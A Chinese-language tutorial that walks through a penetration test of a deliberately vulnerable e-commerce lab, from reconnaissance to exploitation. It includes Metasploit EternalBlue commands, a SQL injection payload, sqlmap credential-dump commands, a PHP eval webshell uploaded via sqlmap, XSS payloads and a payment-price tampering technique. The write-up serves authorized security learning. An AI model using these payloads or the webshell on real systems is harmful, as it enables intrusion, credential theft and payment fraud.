重要提醒:本文所有操作均在本地授权靶场环境中完成,仅用于安全技术学习与交流。未经授权对任何线上系统进行渗透测试均属于违法行为,请严格遵守《网络安全法》等相关法律法规。
前言
在 Web 安全领域,渗透测试是保障业务安全的核心手段之一,但很多安全入门者往往不清楚完整的渗透测试流程,也不知道如何将各类工具结合实战落地。
很多人会有疑问:什么是渗透测试?为什么要做渗透测试?具体要怎么做?
什么是渗透测试?
渗透测试是一种评估计算机网络安全性的方法,早期由黑客与技术爱好者通过模拟攻击的方式探索系统漏洞,随着安全行业的发展,这种方法逐渐正规化、合法化:由安全专家模拟黑客的攻击手法,在授权的前提下尝试利用系统漏洞,以此发现并修复安全隐患,最终增强系统的整体安全性。
为什么要做渗透测试?
-
发现潜在安全漏洞:通过模拟真实攻击,提前发现可能被黑客利用的隐藏漏洞
-
验证安全措施有效性:检验防火墙、入侵检测等现有安全防护是否真的生效
-
提升全员安全意识:帮助企业与员工直观了解面临的安全威胁,建立安全认知
-
满足合规要求:金融、电商等诸多行业的法规与标准,都要求定期开展安全测试
对于电商这类涉及资金、用户隐私的核心业务,渗透测试更是必不可少的安全环节。为了模拟真实场景,我们不会针对线上平台进行测试,而是搭建本地靶场,完整复现从环境准备到漏洞利用的全流程。
一、靶机环境配置
在开始实战前,我们需要先搭建一套包含漏洞的电商系统靶场,模拟真实的电商业务环境。
1.1 安装靶机
首先我们需要准备靶机虚拟机,通过以下步骤完成导入:
- 首先安装分区工具用于后续磁盘管理:
sudo apt-get install gparted
sudo gparted
-
双击下载好的
\.ovf虚拟机文件,选择以 VMware Workstation 方式打开 -
可以自定义虚拟机名称与存储路径,确认后点击导入
-
导入完成后启动虚拟机,输入默认密码
123即可登录
注意:部分设备启动虚拟机后会自动关闭数字小键盘,输入密码时请注意检查小键盘状态。
登录后检查右上角网络状态,如果未开启网络,点击Enable Networking即可启用网络连接。
1.2 部署 Web 应用
靶机内置了宝塔面板用于管理 Web 服务,我们可以通过面板快速部署电商应用:
-
在虚拟机中打开浏览器,访问面板地址:
http://127\.0\.0\.1:23978/a4c6d8bb -
输入面板默认账号密码:
username: moc6xell
password: 7b6685db
- 登录后可以选择绑定自己的宝塔账号,也可以直接跳过绑定直接使用面板功能。
面板无法访问的解决方法
如果遇到面板无法打开、无法注册的情况,可以尝试以下两种方案:
-
重启宝塔面板服务 打开终端,执行宝塔命令行工具:
sudo bt输入密码后,在菜单中选择
1\. 重启面板服务,完成后刷新浏览器即可。 -
清除浏览器缓存 在火狐浏览器中打开设置,搜索
cache,点击清除数据,完成后刷新浏览器。
完成面板配置后,进入网站管理页面,确认电商 Web 应用的状态为启动即可,如果显示暂停,点击即可启动服务。
1.3 访问 Web 应用
如果需要在物理机或者其他虚拟机中访问靶机的 Web 应用,需要配置 hosts 解析:
- 首先查看靶机的 IP 地址,假设为
192\.168\.253\.147
Windows 系统配置 hosts
打开文件C:\\Windows\\System32\\drivers\\etc\\hosts,在文件末尾添加:
192.168.253.147 www.example1.com
如果没有修改权限,可以参考Windows 修改 hosts 权限方案
Linux 系统配置 hosts
执行命令编辑 hosts 文件:
sudo vim /etc/hosts
添加同样的解析记录:
192.168.253.147 www.example1.com
配置完成后,就可以在物理机访问http://www\.example1\.com/进入电商系统了。
二、信息收集:摸清目标的 "家底"
在黑盒测试中,我们往往一开始只拿到一个域名,这时候第一步就是要尽可能收集目标的所有信息,为后续的漏洞挖掘做准备。
2.1 IP 收集
虽然是我们自己搭建的靶机,但为了模拟真实场景,我们还是走一遍完整的 IP 探测流程: 通过 ping 命令即可获取目标服务器的 IP:192\.168\.253\.132,同时通过 TTL 值我们可以初步判断操作系统:
-
Windows 系统默认 TTL 为 128
-
Linux 系统默认 TTL 为 64
这里的 TTL 为 64,说明目标服务器是 Linux 系统,和我们的实际环境一致。
2.2 端口收集
接下来我们用 nmap 对目标进行端口与服务探测,获取开放端口与服务版本:
# -O: 启用操作系统扫描
# -sV: 启用版本指纹扫描
sudo nmap -O -sV 192.168.253.132

扫描结果验证了系统为 Linux,同时探测到三个开放端口:
-
21 端口:FTP 服务默认端口
-
80 端口:HTTP 服务,也就是我们的电商 Web 应用
-
888 端口:Apache Httpd 服务,通常是 PhpMyAdmin 的默认端口
这些信息都是后续渗透测试可以利用的切入点。
2.3 目录扫描
拿到站点后,我们需要探测网站的隐藏目录与敏感文件,比如后台地址、配置文件等。
一开始我们尝试了 7kbscan(铸剑)工具进行扫描,但发现结果异常:所有带后缀或者特殊字符的 URL 都返回了主页内容,只有纯路径的 URL 返回错误页,这是网站的一种防扫描机制,普通的目录扫描工具很容易被这种机制绕过。
这时候我们换用 dirmap 工具进行扫描,它可以识别不同响应的长度,帮我们区分真实页面和虚假页面:
# 检查Python版本
python3 --version
pip3 --version
# 安装依赖
pip3 install -r requirement.txt -i https://mirrors.aliyun.com/pypi/simple/
# 执行扫描
python3 dirmap.py -i http://www.example1.com/ -lcf
通过 dirmap 的结果,我们可以根据响应长度区分出真实页面:7KB 左右的都是虚假的主页,其他长度的才是真实存在的页面。最终我们成功找到了后台地址:http://www\.example1\.com/admin/account\.php,同时也确认了网站是 PHP 语言开发的。
这也告诉我们:实战中不要依赖单一工具,不同工具各有优劣,多工具结合才能拿到准确的结果。
2.4 其他信息
通过观察网站底部的版权信息,我们还发现这个电商站点是基于iWebShop这套开源电商 CMS 开发的,这为我们后续的漏洞挖掘提供了重要线索。
2.5 信息整理
到这里,我们已经收集到了目标的所有基础信息:
1、域名: www.example1.com
2、IP: 192.168.253.132
3、操作系统: Linux
4、开放端口: 21/80/888
5、开发语言与CMS: PHP、iWebshop
6、后台地址: http://www.example1.com/admin/
三、系统层面漏洞探针:从底层到应用
Web 应用运行在操作系统之上,除了 Web 层面的漏洞,操作系统本身的漏洞也可能被黑客直接利用,一步到位拿下整个服务器,所以我们也需要对系统层面的漏洞进行探测。
3.1 Goby 快速扫描
Goby 是一款轻量的漏洞扫描工具,主打快速的系统漏洞探测,我们可以用它快速扫描目标的系统漏洞:
-
下载 Goby:https://gobies.org/#dl
-
配置扫描规则,针对系统漏洞进行探测

为了演示效果,我们额外启动了一台存在漏洞的 Windows Server 2008 靶机,扫描结果显示,目标 445 端口存在高危漏洞MS17\-010,也就是我们常说的 "永恒之蓝" 漏洞,这是一个可以远程代码执行的严重漏洞。
3.2 Nessus 深度扫描
Nessus 是业界知名的漏洞扫描工具,全球超过 75000 家组织在使用,它可以提供更全面的系统漏洞扫描服务。 我们新建高级扫描任务,配置目标 IP 后启动扫描,最终扫描结果同样识别出了那台 Windows 靶机的两个高危漏洞:MS07\-063与MS17\-010。
3.3 漏洞验证与利用
工具扫描会存在误报的可能,所以扫描到漏洞后,我们需要人工验证漏洞是否真实存在,然后进行利用测试。
Metasploit 漏洞利用
Metasploit(MSF)是一款开源的渗透测试框架,集成了大量的漏洞利用模块,Kali 系统中自带了这个工具。 针对 MS17-010 漏洞,我们可以用 MSF 快速验证并利用:
# 启动MSF控制台
msfconsole
# 搜索对应的漏洞模块
search ms17-010
# 选择永恒之蓝的利用模块
use exploit/windows/smb/ms17_010_eternalblue
# 配置目标IP
set rhosts 192.168.253.148
# 配置载荷,这里我们选择绑定TCP的meterpreter载荷
set payload windows/x64/meterpreter/bind_tcp
# 执行攻击
run
如果漏洞存在,执行成功后我们就可以直接拿到目标服务器的控制权限,进入命令行操作目标机器。
searchsploit 漏洞库查询
searchsploit 是 Exploit-DB 漏洞库的命令行工具,我们可以用它快速搜索对应漏洞的 POC 与利用代码:
# 先更新漏洞库,保证拿到最新的漏洞信息
searchsploit -u
# 搜索ms17-010相关的利用代码
searchsploit ms17-010
搜索到对应的 Python 利用脚本后,我们可以复制到本地,下载对应的 shellcode,然后执行脚本验证漏洞,执行后靶机会出现蓝屏,说明漏洞确实存在。
公共漏洞平台
除了本地工具,我们还可以通过公共漏洞平台查询漏洞信息,比如:
-
国内:CNNVD 国家信息安全漏洞库、CNVD 国家信息安全漏洞共享平台、Seebug 知道创宇漏洞平台
-
国外:Exploit-DB、0day.today 等 当然也可以通过 Github、搜索引擎直接搜索对应漏洞的 POC。
四、Web 应用漏洞挖掘:自动化工具的实战
完成了系统层面的探测,接下来我们回到核心的 Web 应用漏洞挖掘,这也是电商渗透测试的重点。
4.1 已知 CMS / 框架漏洞
我们已经知道目标是基于 iWebShop 开发的,对于这类已知的 CMS 或者框架,我们可以直接搜索公开的漏洞,也有专门的针对性扫描工具,比如针对 WordPress 的 WPScan、针对 ThinkPHP 的 TPscan 等。
比如我们以 ThinkPHP 框架为例,当我们识别出目标是 ThinkPHP5 开发的站点后,就可以直接搜索 TP5 的远程代码执行漏洞,也可以用专门的 TP 漏洞扫描工具进行探测,快速验证是否存在已知漏洞。
再次提醒:所有测试仅针对授权靶机,请勿在公网未授权的站点进行测试。
4.2 通用漏扫工具:AWVS
对于通用的 Web 漏洞,我们可以用 AWVS 这类通用漏扫工具进行自动化扫描,它可以通过爬虫遍历网站,自动测试 SQL 注入、XSS 等常见漏洞。
AWVS 扫描配置
在扫描前,我们需要根据目标的情况进行配置,避免被 WAF 拦截:
-
扫描速度配置:如果目标有 WAF,我们可以调低扫描速度,避免频繁请求被封禁 IP
-
登录配置:如果需要扫描登录后的功能,我们可以录制登录序列,让 AWVS 模拟登录后扫描
-
请求配置:可以配置自定义请求头、代理,进一步绕过 WAF 的拦截
配置完成后就可以启动扫描,等待扫描结果即可。
4.3 扫描结果人工验证
工具扫描的结果需要人工验证,排除误报,同时判断漏洞的危害等级。
1. DOM 型 XSS(低危)
AWVS 扫描到了多个 DOM 型 XSS 漏洞,我们进行验证: 构造对应的 URL,登录后访问,发现 wvstest 参数的内容会被注入到表单的 action 中,当用户点击提交按钮时,就会执行我们构造的 JS 代码,弹出用户的 cookie。
不过这个漏洞属于 DOM 型 XSS,利用条件比较苛刻:需要受害者访问我们构造的链接,还要手动点击提交按钮,所以属于低危漏洞。
2. SQL 注入漏洞(高危)
扫描结果中最严重的是搜索功能的 SQL 注入漏洞,我们构造了时间盲注的测试 URL:
http://www.example1.com/index.php?action=search_list&controller=site&word=0%27XOR(if(now()=sysdate()%2Csleep(4)%2C0))XOR%27Z
访问后发现页面确实延迟了 4 秒才返回,说明时间盲注是生效的,漏洞真实存在。

接下来我们用 sqlmap 来利用这个漏洞,获取数据库数据:
# 获取当前数据库名
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --current-db --batch
# 获取数据库的表
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com --tables --batch
# 获取管理员表的字段
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com -T iwebshop_admin --columns --batch
# 导出管理员的账号密码
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com -T iwebshop_admin -C admin_name,password --dump --batch
拿到管理员的账号密码后,我们就可以直接登录后台了。
Sqlmap 获取 WebShell
接下来我们尝试用 sqlmap 获取 WebShell,执行系统命令:
sqlmap -u "http://www.example.com/..." --os-shell
但这次执行失败了,原因是服务器的 PHP 配置中,禁用了 system、exec 等命令执行函数,也就是disable\_functions,sqlmap 自带的 shell 无法执行命令。
我们换了一种方式,手动上传一句话木马:
<?php
@eval($_POST['ant']);
?>
用 sqlmap 把这个文件上传到网站根目录:
sqlmap -u "..." --file-write ~/Downloads/shell.php --file-dest /www/wwwroot/www.example1.com/shell.php
上传成功后,我们用蚁剑连接这个木马,虽然可以查看文件,但执行命令还是失败,这时候我们用蚁剑的绕过disable\_functions插件,尝试绕过 PHP 的函数禁用,最终成功绕过,拿到了服务器的命令执行权限。
这里的原理:sqlmap 的
\-\-os\-shell本质是上传了一个 PHP 脚本,尝试用 system、proc_open 等函数执行命令,但这些函数都被禁用了,所以失败了。而我们用专门的绕过插件,可以通过其他方式绕过 disable_functions 的限制,实现命令执行。
3. 反射型 XSS(中危)
除了 DOM 型 XSS,我们还发现了一个反射型 XSS 漏洞,构造 URL:
http://www.example1.com/index.php?action=search_list&controller=site&word=1<script>alert(9709)</script>
访问后直接就弹出了窗口,这个漏洞不需要用户做额外操作,只要访问链接就会触发,比 DOM 型 XSS 危害更大,属于中危漏洞。
五、人工探查:发现工具扫不到的逻辑漏洞
随着安全防护的升级,越来越多的传统漏洞被修复,现在实战中更常见的是业务逻辑漏洞,这类漏洞漏扫工具无法识别,必须靠人工进行探查。
5.1 Xray 被动扫描:人工测试的好帮手
在人工测试的时候,我们可以用 Xray 的被动扫描模式作为辅助,它可以作为代理,把我们手动访问的所有请求都自动进行漏洞扫描,做到人工测试的同时,自动完成漏洞探测。
首先我们启动 Xray 的代理模式:
xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output=out.html
然后把浏览器的代理设置为127\.0\.0\.1:7777,这时候我们手动访问网站的所有请求,都会被 Xray 自动扫描,等我们测试完,停止 Xray 就可以拿到自动生成的扫描报告。
多工具联动
我们还可以把 Xray 和 BurpSuite 联动,比如: 浏览器 -> BurpSuite -> Xray 这样我们既可以用 Burp 的抓包改包功能,又可以让 Xray 自动扫描所有的请求,两者结合,效率大大提升。

5.2 业务功能点探查
人工测试的核心,就是针对业务的功能点逐一测试,尤其是电商的核心流程,比如支付、下单、登录这些功能。
支付逻辑漏洞
电商最常见的就是支付逻辑漏洞,我们测试购买商品的支付流程: 用 BurpSuite 抓包,抓到支付的请求,发现请求里有total\_free参数,也就是商品的总价,我们尝试把它改成 0,然后重放请求。
一开始我们发现请求里有 sign 参数,应该是参数的签名,用来防止篡改,我们分析了签名的规则,发现是把 attach、order_no 和价格参数做 MD5 签名,于是我们修改价格为 0 后,重新计算了 sign 参数,然后提交修改后的请求,成功实现了 0 元购买商品,这就是典型的支付逻辑漏洞,开发者没有在后端校验价格的真实性,仅靠前端传参和签名就完成了支付校验。
后台弱口令与验证码绕过
我们还测试了后台的登录功能,发现登录的验证顺序是:先校验验证码,再校验用户名是否存在,最后校验密码。
同时我们还发现验证码可以重复利用,也就是说,同一个验证码可以多次用来登录,这就导致我们可以用 BurpSuite 爆破管理员的密码,不需要每次都输入新的验证码,很容易就可以爆破出弱口令。
其他测试点
除了这些,我们还会测试文件上传功能是否可以上传木马,输入框是否存在注入、XSS,同时如果主站没有漏洞,我们还会测试旁站、子域名,或者之前收集到的 FTP、MySQL 等服务,测试这些服务是否存在弱口令或者历史漏洞。
总结
本次电商系统的渗透测试,我们完整走完了从环境搭建、信息收集、系统漏洞探测、Web 漏洞挖掘到人工逻辑漏洞探查的全流程,我们可以看到:
-
渗透测试不是靠单一工具,而是多工具结合、工具与人工结合的过程,不同的工具有不同的优势,要灵活搭配
-
自动化工具可以帮我们快速发现传统的通用漏洞,但业务逻辑漏洞必须靠人工去挖掘,这也是现在安全测试的重点
-
很多时候漏洞的利用需要结合环境进行调整,比如绕过 disable_functions、绕过 WAF,都需要我们对原理有深入的理解
对于企业来说,定期开展渗透测试,及时修复漏洞,是保障电商业务安全、保护用户数据与资金安全的核心手段,而对于安全从业者来说,不断积累实战经验,理解漏洞的底层原理,才能更好的应对不断变化的安全威胁。